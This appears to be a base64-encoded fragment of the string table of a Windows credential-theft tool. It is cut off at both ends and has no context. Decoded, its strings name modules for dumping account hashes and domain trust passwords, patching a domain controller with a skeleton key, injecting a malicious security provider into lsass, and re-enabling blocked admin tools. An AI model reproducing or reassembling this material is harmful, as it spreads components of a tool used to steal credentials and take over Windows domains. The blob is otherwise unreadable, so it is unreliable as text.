AQQBOAFQAXwBDAEgAQQBOAEcARQAAAAAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFQARQBNAFAAXwBEAFUAUABMAEkAQwBBAFQARQBfAEEAQwBDAE8AVQBOAFQAAAAAAE4ATwBSAE0AQQBMAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwACAAPwAAAEkATgBUAEUAUgBEAE8ATQBBAEkATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAAAAwAHgANAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAAAAAAAFMATQBBAFIAVABDAEEAUgBEAF8AUgBFAFEAVQBJAFIARQBEAAAAAABUAFIAVQBTAFQARQBEAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AVABfAEQARQBMAEUARwBBAFQARQBEAAAAAAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAAAAAAAAAAAAAAAAAABUAFIAVQBTAFQARQBEAF8AVABPAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBfAEEAVQBUAEgAXwBEAEEAVABBAF8AUgBFAFEAVQBJAFIARQBEAAAAAAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAAAAAAMAB4ADEAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAMgAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADgAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAABEAE8ATQBBAEkATgBfAE8AQgBKAEUAQwBUAAAAAAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAAAABBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAEEAUABQAF8AQgBBAFMASQBDAF8ARwBSAE8AVQBQAAAAQQBQAFAAXwBRAFUARQBSAFkAXwBHAFIATwBVAFAAAAAqACoAIABTAEEATQAgAEEAQwBDAE8AVQBOAFQAIAAqACoACgAKAAAAUwBBAE0AIABVAHMAZQByAG4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVQBzAGUAcgAgAFAAcgBpAG4AYwBpAHAAYQBsACAATgBhAG0AZQAgACAAOgAgAAAAQQBjAGMAbwB1AG4AdAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACAAJQBzACAAKQAKAAAAVQBzAGUAcgAgAEEAYwBjAG8AdQBuAHQAIABDAG8AbgB0AHIAbwBsACAAOgAgACUAMAA4AHgAIAAoACAAAAAAAEEAYwBjAG8AdQBuAHQAIABlAHgAcABpAHIAYQB0AGkAbwBuACAAIAAgADoAIAAAAFAAYQBzAHMAdwBvAHIAZAAgAGwAYQBzAHQAIABjAGgAYQBuAGcAZQAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5ACAASQBEACAAIAAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUgBlAGwAYQB0AGkAdgBlACAASQBEACAAIAAgADoAIAAlAHUACgAAAAAACgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAAABsAG0AIAAgAAAAAAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAAAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAGEAYwBjAG8AdQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAAAgACAAQQBjAGMAbwB1AG4AdAA6ACAAJQBzAAoAAAAAACAAIABOAFQATABNACAAIAAgADoAIAAAACAAIABOAFQATABNAC0AMQAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAVAByAHUAcwB0AFAAYQBzAHMAdwBvAHIAZABzAEcAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAYwBoACAAQwBhAG4AZABpAGQAYQB0AGUAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAMgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAUgBlAHEAQwBoAGEAbABsAGUAbgBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAYwAKAAAAAAAAAGMAbQBkAAAAAAAAAAAAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAAAAAAByAGUAZwBlAGQAaQB0AAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGk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AdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAAAAAAGwAZQB0AGEAZQBzAAAAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAAABbAEsARABDAF0AIABkAGEAdABhAAoAAABbAEsARABDAF0AIABzAHQAcgB1AGMAdAAKAAAAAAAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAYQBzACAAaQBuAHAAdQB0ACAAZgBpAGwAZQAKAAAAAAAAACAAKgAgAE8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